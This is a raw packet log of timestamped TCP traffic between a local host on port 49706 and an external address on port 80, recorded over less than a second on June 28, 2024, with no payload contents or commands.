Jun 28, 2024 13:36:13.493760109 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.493858099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493868113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493876934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493886948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493890047 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.493896008 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493906021 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493913889 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.493915081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493925095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493935108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493942022 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.493959904 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.494050980 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494061947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494071960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494081020 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494086027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.494102955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.494126081 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.494184971 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494195938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494204998 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494215012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494215965 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.494225025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494231939 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.494235039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494245052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494254112 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494261980 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.494262934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494275093 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494282961 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.494301081 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.494434118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494443893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494452953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494462967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494465113 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.494472980 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494483948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494492054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.494523048 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.494546890 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494555950 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494565010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494575024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494575024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.494584084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494594097 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494602919 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.494605064 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.494631052 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.523545980 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.523566008 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.523583889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.523595095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.523605108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.523614883 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.523624897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.523634911 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.523673058 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.523674011 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.523756027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.537501097 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.537542105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.537553072 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.537558079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.537569046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.537568092 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.537583113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.537594080 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.537594080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.537637949 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.537652969 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.537692070 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.537859917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.537908077 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.537913084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.537923098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.537955999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.537976027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.538005114 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.538014889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.538026094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.538038015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.538047075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.538057089 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.538080931 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.538093090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.538105965 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.538130045 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.538152933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.538163900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.538172960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.538183928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.538202047 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.538227081 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.538230896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.538242102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.538274050 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.538297892 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.575252056 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.575273991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.575284958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.575298071 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.575309038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.575318098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.575326920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.575334072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.575337887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.575387001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.575387001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.575488091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.575534105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.575544119 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.575546026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.575584888 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.575632095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.575642109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.575650930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.575660944 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.575670958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.575675964 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.575711012 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.575711012 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.575805902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.575815916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.575854063 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.575865030 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.575875044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.575956106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.575964928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.575974941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.575984001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.576010942 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.576035976 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.576045990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.576056004 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.576065063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.576075077 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.576086044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.576096058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.576107025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.576107025 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.576137066 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.576137066 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.576174021 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.576184988 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.576220989 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.576245070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.576255083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.576263905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.576276064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.576286077 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.576291084 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.576294899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.576312065 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.576342106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.577330112 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577341080 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577351093 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577389002 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.577408075 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.577414036 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577425003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577434063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577444077 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577456951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.577481985 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.577501059 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.577641964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577653885 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577665091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577673912 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577682972 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577692032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577692986 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.577701092 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577712059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577712059 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.577722073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577732086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577739954 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.577743053 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577763081 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.577770948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577780962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577780962 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.577812910 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.577842951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.577912092 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577922106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577931881 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577943087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577951908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577959061 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.577960968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577976942 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.577979088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577989101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.577996016 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.578031063 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.578066111 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578077078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578087091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578097105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578107119 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578109980 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.578131914 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.578157902 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.578465939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578478098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578486919 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578496933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578507900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578515053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.578517914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578530073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578532934 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.578538895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578548908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578566074 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.578567028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578577042 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578586102 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.578594923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578604937 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.578604937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578615904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578622103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.578625917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578638077 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578648090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578649998 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.578658104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578670025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578679085 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.578680038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578691006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578696966 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.578701019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578711987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.578715086 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.578742027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.578761101 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.607531071 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.607559919 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.607569933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.607605934 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.607616901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.607626915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.607635021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.607644081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.607654095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.607657909 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.607667923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.607676983 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.607708931 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.623013020 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.623034000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.623044968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.623079062 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.623114109 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.623116016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.623126984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.623137951 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.623148918 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.623150110 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.623166084 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.623195887 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.623485088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.623526096 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.623549938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.623559952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.623585939 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.623606920 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.623641014 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.623651981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.623661995 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.623677969 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.623692036 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.624069929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.624080896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.624089956 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.624099970 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.624108076 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.624114990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.624125004 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.624135017 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.624139071 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.624145985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.624166965 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.624180079 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.659328938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.659362078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.659378052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.659395933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.659393072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.659394026 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.659406900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.659419060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.659429073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.659472942 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.659472942 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.659472942 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.659472942 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.659699917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.659740925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.659751892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.659751892 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.659789085 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.659820080 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.659849882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.659859896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.659877062 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.659878016 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.659888983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.659897089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.659908056 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.659934044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.659943104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.659951925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.659962893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.659976959 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.660012960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.660013914 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.660053015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.660063028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.660073042 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.660088062 CEST	49706	80	192.168.2.5	77.91.77.81
